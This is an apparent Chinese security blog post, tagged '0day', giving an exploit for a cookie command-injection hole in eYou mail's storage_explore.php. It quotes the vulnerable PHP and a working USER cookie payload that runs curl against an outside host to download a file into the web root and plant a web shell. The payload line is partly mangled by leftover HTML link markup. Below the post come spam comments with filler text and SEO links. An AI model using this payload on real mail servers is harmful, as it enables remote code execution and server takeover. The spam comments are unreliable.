『河马』eyou Storage_explore.php Cookie命令注入漏洞利用工具


文件/user/storage_explort.php
<?php
/**
* 用户网络存储列表
*
* 该页面显示登录邮箱用户的网络存储文件列表,选择后添加到邮件的附件中。
*
* @author FengHui <fenghui@eyou.net>
* @copyright 2008 eYou.net
* @version storage_explore.php 2008/05/19
*/
require_once('/var/eyou/apache/htdocs/config.php');
require_once(PATH.'inc/function.php');
require_once(PATH.'inc/libeyou.php');
require_once(PATH.'inc/operate.php');

$skin               = getCookieUserValue('SKIN');
$uid                = getCookieUserValue('UID');
$domain             = getCookieUserValue('DOMAIN');
$user_dir_path      = getUserDirPath($uid, $domain);
$storage_index_path = $user_dir_path.'/storage/Index/';
$storage_data_path  = $user_dir_path.'/storage/Data/';
$userinfo = get_userinfo($uid , $domain);

// 获取用户允许上传的最大附件大小
$attachsize = (int)($userinfo['attachsize'][0]);

$is_submit = $_POST['is_submit'] ? true : false;
?>
跟进getCookieUserValue函数:

function getCookieUserValue($key) {
    $user_arr = explode('&', cookie('USER'));
    $n = count($user_arr);
    for ($i = 0; $i < $n; $i++) {
        $g_arr = explode('=', $user_arr[$i]);
        if ($g_arr[0] == $key) {
            return $g_arr[1];
        }
    }
    return null;
}

跟进cookie函数:
function cookie($name){
    if (array_key_exists($name, $_COOKIE)) return $_COOKIE[$name];
       return '';

整个过程没有对cookie 进行过滤

直接就取那个cookie中USER的值取出来,然后进入了getUserDirPath函数

来看看getUserDirPath函数:

/**
* 获取用户目录的路径
*
* @param string $uid
* @param string $domain
*/
function getUserDirPath($uid, $domain) {
    $cmd = "/var/eyou/sbin/hashid $uid $domain";
    echo $cmd;
    $path = `$cmd`;
    $path = trim($path);
    return $path;
}

uid和domain直接进入了命令,导致命令执行。



漏洞利用:

将cookie设置为:

USER=UID=1|curl isafe.cc" target="_blank">isafe.cc:8080/test.txt" target="_blank">http://www.isafe.cc" target="_blank">isafe.cc:8080/test.txt>>www.isafe.cc" target="_blank">isafe.cc.php
然后访问localhost/user/storage_explore.php
此时会在localhost/user/下生成www.isafe.cc" target="_blank">isafe.cc.php文件

shell地址为:

localhost/user/www.isafe.cc" target="_blank">isafe.cc.php
只允许会员下载 该文件只允许会员下载! 登录 | 注册

[本日志由 admin 于 2017-10-14 07:51 PM 编辑]
文章来自: 本站原创
引用通告: 查看所有引用 | 我要引用此文章
Tags: 0day
评论: 167 | 引用: 0 | 查看次数: 14292
Naomi [2015-06-10 06:29 PM]
It's okay to stumble over your old words and old way of thinking as long as when you get back up you replace those footsteps with words that will take your life in a new direction. So yes, it is more the words you say than the deeds you perform that define you in the minds of people.

Bottomline - there will always be something you don't understand about your partner.

Also visit my website: synonyms for abator
Odessa [2015-06-10 05:21 PM]
One of the most important tips for all parents to remember is patience.
So yes, it is more the words you say than the deeds you perform that define you in the minds of people. Thank you for providing an environment to grow and shake off my feelings of insecurity or inadequacy.

Review my web blog :: antonyms words list in hindi
Nannette [2015-06-10 04:25 PM]
The other term for fear of public speaking is Glosophobia.
So yes, it is more the words you say than the deeds you perform that define you in the minds of people. Remember that your written communication is an introduction or a supplement to you.

My homepage :: antonyms for benefit
Clarita [2015-06-09 04:45 PM]
It should be possible to determine within just a few days if commercial financing is feasible for a specific business need, and the entire funding process should be finalized in three weeks or less.
You could spend a lifetime learning each of these values and incorporating these into your life and it would be well worth the effort. Site - Sell allows individuals to create their own website even if they do not have much knowledge in website creation.

Here is my web site - synonym and antonym worksheets for first graders
Wally [2015-06-09 03:30 PM]
The new Lubbock county jail cover an area of nearly half-million square feet and is capable of confining 1,512 inmates.
or just sit with the images for a while and use your power of imagination to create some playful stories around it. Bottomline - there will always be something you don't understand about your partner.

Also visit my homepage: antonyms words for bank exams
Chante [2015-06-09 10:32 AM]
Whenever an irresistible force and an immovable object meet sparks can fly and ignite the passions within. So yes, it is more the words you say than the deeds you perform that define you in the minds of people.
Thank you for providing an environment to grow and shake off my feelings of insecurity or inadequacy.

Feel free to visit my blog post: antonyms of abandoners
Shantell [2015-06-09 10:31 AM]
The other term for fear of public speaking is Glosophobia.
If you are the kind of person who is not active in showing love, start doing so and you do not have to write a love letter. The people around us will be our containers; we look to them for understanding.

Here is my web blog ... antonyms of abhor
Elmo [2015-06-09 04:28 AM]
One of the most important tips for all parents to remember is patience.
So yes, it is more the words you say than the deeds you perform that define you in the minds of people. Scrabble experts, on the other hand, employ carefully researched strategies that have been tried and tested by others before.

Feel free to surf to my web blog antonyms of abaser
Ramon [2015-06-09 03:10 AM]
Sometimes it takes using I statements when you are upset and completely vulnerable.
In due course, whatyou will get is a child who is brilliant, attentive and caring too. Remember that your written communication is an introduction or a supplement to you.

My web site; antonyms of Abevacuation
Marina [2015-06-09 02:03 AM]
Sometimes it takes using I statements when you are upset and completely vulnerable.
It is not only these exact words but the attitudes behind them that must be eliminated. The people around us will be our containers; we look to them for understanding.

Feel free to visit my blog ... synonyms for abated
发表评论
昵 称:
密 码: 游客发言不需要密码.
验证码: 验证码
内 容:
选 项:
虽然发表评论不用注册,但是为了保护您的发言权,建议您注册帐号.
字数限制 1000 字 | UBB代码 开启 | [img]标签 关闭